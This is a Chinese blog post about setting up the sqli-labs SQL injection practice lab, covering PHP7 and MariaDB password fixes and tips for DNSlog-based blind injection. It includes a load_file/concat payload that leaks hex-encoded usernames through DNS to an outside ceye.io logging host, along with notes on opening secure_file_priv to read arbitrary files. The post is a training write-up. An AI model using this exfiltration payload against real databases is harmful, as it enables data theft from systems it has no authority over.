美文网首页
重新温习SQL注入:sqli-labs

重新温习SQL注入:sqli-labs

作者: 静析机言 | 来源:发表于2021-06-09 11:57 被阅读0次

SQLi-Labs是一个专业的SQL注入练习平台,对SQL注入有些生疏了,近期打算拿它再练练手。

原始github代码位置:

https://github.com/Audi-1/sqli-labs

一、安装问题

安装问题1:由于此版本不兼容php7,所以php无法正常运行,需要下载适配php7的,网上有php7版本的。

https://github.com/skyblueee/sqli-labs-php7

安装问题2:无法在浏览器中执行php文件,出现错误“Failed to connect

to root@localhost”。但以php -f XXX.php这种方式可以正常执行。

原因:我的mysql版本为10.1.29-MariaDB-6,root用户的密码为空,而我把sqli-labs中的db-creds.inc中$dbpass修改为了“toor”。

MariaDB[(none)]>SELECT user,authentication_string,plugin,host FROM mysql.user;

使用了unix_socket插件。

网上查了,需要修改root用户的密码,并将plugin修改为mysql_native_password

ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'toor';

出现错误:MariaDB [(none)]> ALTER USER'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'toor';

ERROR 1064 (42000): You have an error in your SQLsyntax; check the manual that corresponds to your MariaDB server version forthe right syntax to use near 'USER 'root'@'localhost' IDENTIFIED WITHmysql_native_password BY 'toor'' at line 1

MariaDB

解决办法:ALTER USER声明是在MariaDB 10.2.0中引入的。

由于您的DB是10.1,因此您需要使用危险的旧方法重设密码:

updatemysql.user set authentication_string=password('toor'),plugin='mysql_native_password'where user='root';

FLUSHPRIVILEGES;  //告诉服务器重新加载授权表并使新的更改生效

MariaDB[(none)]>SELECT user,authentication_string,plugin,host FROM mysql.user;

至此,可以在浏览器正常运行php了。

二、使用sqli-labs的坑

1. sql盲注,后端数据库用的mysql数据库,说一下用dnslog回显只能用于windows系统,原理就是'\\\\'代表Microsoft Windows通用命名约定(UNC)的文件和目录路径格式利用任何以下扩展存储程序引发DNS地址解析。双斜杠表示网络资源路径多加两个\就是转义了反斜杠。

Linux没有UNC路径,所以当处于Linux系统时,不能使用该方式获取数据SQL盲注、无回显的命令执行、无回显的SSRF只能用于windows系统。

2. 通过DNSlog盲注需要用的load_file()函数,所以一般得是root权限。show variables like '%secure%';查看load_file()可以读取的磁盘。

1)当secure_file_priv为空,就可以读取磁盘的目录。

2)当secure_file_priv为G:\,就可以读取G盘的文件。

3)当secure_file_priv为null,load_file就不能加载文件。

我当初的:直接在Linux上进行测试,之后在win10上测试的时候没有使用这个函数进行查看。

直接被自己蠢哭.... ...

通过设置my.ini来配置。secure_file_priv=""就是可以load_flie任意磁盘的文件。

3. 虚拟机需要设置为桥接模式,这样数据有来有回。在windows7 x64虚拟机上运行成功,安装的为phpstudy。

4. 避免一些特殊符号的产生,最好的选择就是数据先编码再带出。

需要注意的是dns服务器无法接收符号(除了英文字母以外的都为符号,只要字符串中包含了一个符号也必须用hex()编码),当查询的数据中存在符号时需要编码,这里用hex()编码。

select load_file(concat('\\\\',(select hex(username) from test limit 2,1),'.xxxx.ceye.io\\aaa'));

三、通关记录

个人觉得下面的博主写得非常详细,我就不赘述了。

https://blog.csdn.net/weixin_39934520/category_9792380.html

在做题过程中整理思路,做了脑图,分享给大家。

相关文章

  • 重新温习SQL注入:sqli-labs

    SQLi-Labs是一个专业的SQL注入练习平台,对SQL注入有些生疏了,近期打算拿它再练练手。 原始github...

  • 搭建sqli-labs注入平台

    搭建SQL注入平台 docker搭建sqli-labs 运行sqli-labs 初始化数据库 访问sqli-labs

  • 网络安全学习资源

    漏洞基础原理 SQL注入 sqli-labs 项目地址:https://github.com/Audi-1/sql...

  • sqlmap的使用

    摘要:使用sqlmap注入本地搭建的sqli-labs过程记录 学习SQL 注入,一直在手注,关于工具的使用的学习...

  • sql注入简单总结

    最近两周刷了一下sqli-labs,对sql注入有了一个基本的认识。这里写个总结。 1.sql注入原理简单介绍在一...

  • Sqli-Lab实验环境搭建

    介绍:Sqli-labs是一个印度程序员写的,用来学习sql注入的一个游戏教程。也是我们用来练习sql注入的一个很...

  • SQLi-Labs 练习总结 Page-1 Less-1

    SQLi-LABS 练习总结 Page-1 基础练习 写在前面:SQL注入是一个需要不断尝试的过程,其中可能出现很...

  • [sqli-labs]下载与部署

    sqli-labs简介 对于想要学习web安全的同学 , 这是一个非常好的学习有关SQL注入的学习资料类似于闯关的...

  • Mysql常用命令

    写在前面 最近在学习SQL注入,以sqli-labs练习,可是自己对MySQL感到很陌生,故在此学习一下。 连接与...

  • Sqli-labs学习笔记(Part1)

    很久前就看到Sqli-labs这个练习Sql注入的项目,但是也只是断断续续做过几个简单的题目,也就没有再继续下去了...

网友评论

      本文标题:重新温习SQL注入:sqli-labs

      本文链接:https://www.haomeiwen.com/subject/buceeltx.html